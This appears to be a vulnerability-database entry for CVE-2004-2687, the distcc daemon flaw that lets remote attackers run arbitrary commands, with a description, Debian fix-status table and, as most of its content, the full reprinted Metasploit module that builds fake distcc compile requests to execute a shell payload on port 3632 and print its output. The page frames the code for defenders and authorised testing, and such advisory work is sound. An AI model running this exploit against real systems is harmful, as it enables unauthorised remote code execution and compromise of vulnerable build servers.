CVE-2004-2687
Description
distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
DistCC Daemon - Command Execution (Metasploit)
##
# $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DistCC Daemon Command Execution',
'Description' => %q{
This module uses a documented security weakness to execute
arbitrary commands on any system running distccd.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'CVE', '2004-2687'],
[ 'OSVDB', '13378' ],
[ 'URL', 'http://distcc.samba.org/security.html'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 01 2002'
))
register_options(
[
Opt::RPORT(3632)
], self.class)
end
def exploit
connect
distcmd = dist_cmd("sh", "-c", payload.encoded);
sock.put(distcmd)
dtag = rand_text_alphanumeric(10)
sock.put("DOTI0000000A#{dtag}\n")
res = sock.get_once(24, 5)
if !(res and res.length == 24)
print_status("The remote distccd did not reply to our request")
disconnect
return
end
# Check STDERR
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
return if not len
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stderr: #{line}")
end
end
# Check STDOUT
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
return if not len
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stdout: #{line}")
end
end
handler
disconnect
end
# Generate a distccd command
def dist_cmd(*args)
# Convince distccd that this is a compile
args.concat(%w{# -c main.c -o main.o})
# Set distcc 'magic fairy dust' and argument count
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
# Set the command arguments
args.each do |arg|
res << sprintf("ARGV%.8x%s", arg.length, arg)
end
return res
end
end
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.18.1-1 |
| sid | Fixed | 2.18.1-1 |
| forky | Fixed | 2.18.1-1 |
| bullseye | Fixed | 2.18.1-1 |
| bookworm | Fixed | 2.18.1-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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